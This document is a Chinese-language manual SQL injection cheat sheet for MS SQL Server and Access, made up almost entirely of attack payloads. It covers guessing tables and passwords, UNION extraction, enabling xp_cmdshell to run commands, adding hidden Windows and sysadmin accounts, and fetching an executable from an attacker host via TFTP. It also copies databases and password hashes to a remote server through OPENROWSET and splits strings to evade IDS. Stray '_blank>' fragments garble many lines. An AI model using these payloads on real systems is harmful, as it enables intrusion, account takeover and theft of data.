怕工具有毒,那就学手工注入

1 判断有无注入点

; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) —判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count(*) from admin where len(*) >0)–

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位

and 1= (select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) —

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1–

group by users.id, users.username, users.password, users.privs having 1= 1–

; insert into users values( 666, attacker, foobar, 0xffff )–

UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank> _NAME=logintable-

UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-

UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-

UNION Select TOP 1 login_blank> _name FROM logintable-

UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–

看_blank>服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)–

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。

and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

and sa=(Select System_blank>_user)–

and user_blank>_name()=dbo–

and 0<>(select user_blank>_name()–

看xp_blank>_cmdshell是否删除

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)–

xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll–

反向PING自己实验

;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–

加帐号

;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

创建一个虚拟目录E盘:

;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,”e: \”–

访问属性:(配合写入一个webshell)

declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交

and 0< >(select top 1 paths from newtable)–

得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)–

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

(id,…)) 来暴出其他的字段

and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名

依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));–

and (select top 1 swappass from swap)=1–

;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths (path) values(@test)–

;use ku1;–

;create table cmd (str image);– 建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程:

;exec master..xp_blank>_cmdshell dir

;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号

;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–

;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–

;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–

;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–

exec ma
ster..xp_blank> _servicecontrol start, schedule 启动_blank>服务

exec master..xp_blank>_servicecontrol start, server

; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add

;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add

; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat

如果被限制则可以。

select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造:

Select * FROM news Where id=… AND topic=… AND …..

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>

select 123;–

;use master;–

:a or name like fff%;– 显示有一个叫ffff的用户哈。

and 1<>(select count (email) from [user]);–

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–

;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–

;update [users] set email=(select top 1 count(id) from password) where name=ffff;–

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–

上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–

insert into users values( 667,123,123,0xffff)–

insert into users values ( 123, admin–, password, 0xffff)–

;and user>0

;and (select count(*) from sysobjects)>0

;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

枚举出数据表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–

然后id=1552 and exists(select * from aaa where aaa>5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));–

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)

通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

1、 开启远程_blank>数据库

基本语法

select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )

参数: (1) OLEDB Provider name

2、 其中连接字符串参数可以是任何端口用来连接,比如

select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table

3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。
基本语法:

insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2

这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)

select * from master.dbo.sysdatabases

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)

select * from user_blank> _database.dbo.sysobjects

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)

select * from user_blank> _database.dbo.syscolumns

复制_blank>数据库:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:

insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins

得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器

;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;– 获得子目录列表

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– 获得所有子目录的目录树结构,并寸入temp表中

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;– 查看某个文件的内容

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;–

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;–

;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc

;insert into te
mp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– (xp_blank>_dirtree适用权限PUBLIC)

写入表:

语句1:and 1= (Select IS_blank>_SRVROLEMEMBER(sysadmin));–

语句2:and 1=(Select IS_blank>_SRVROLEMEMBER (serveradmin));–

语句3:and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));–

语句4:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–

语句5:and 1=(Select IS_blank>_SRVROLEMEMBER (securityadmin));–

语句6:and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));–

语句7:and 1= (Select IS_blank>_SRVROLEMEMBER(bulkadmin));–

语句8:and 1=(Select IS_blank>_SRVROLEMEMBER (bulkadmin));–

语句9:and 1=(Select IS_blank>_MEMBER(db_blank>_owner));–

把路径写到表中去:

;create table dirs(paths varchar(100), id int)–

;insert dirs exec master.dbo.xp_blank>_dirtree c:\–

and 0<>(select top 1 paths from dirs)–

and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))–

;create table dirs1(paths varchar(100), id int)–

;insert dirs exec master.dbo.xp_blank>_dirtree e:\web–

and 0<>(select top 1 paths from dirs1)–

把_blank>数据库备份到网页目录:下载

;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;–

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)

and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。

and 1=(select user_blank>_id from USER_blank>_LOGIN)

and 0=(select user from USER_blank>_LOGIN where user>1)

-=- wscript.shell example -=-

declare @o int

exec sp_blank>_oacreate wscript.shell, @o out

exec sp_blank>_oamethod @o, run, NULL, notepad.exe

; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_blank>_oacreate scripting.filesystemobject, @o out

exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1

xp_blank>_dirtree适用权限PUBLIC

exec master.dbo.xp_blank>_dirtree c:\

返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100), id int)

建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_blank>_dirtree c:\

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息!
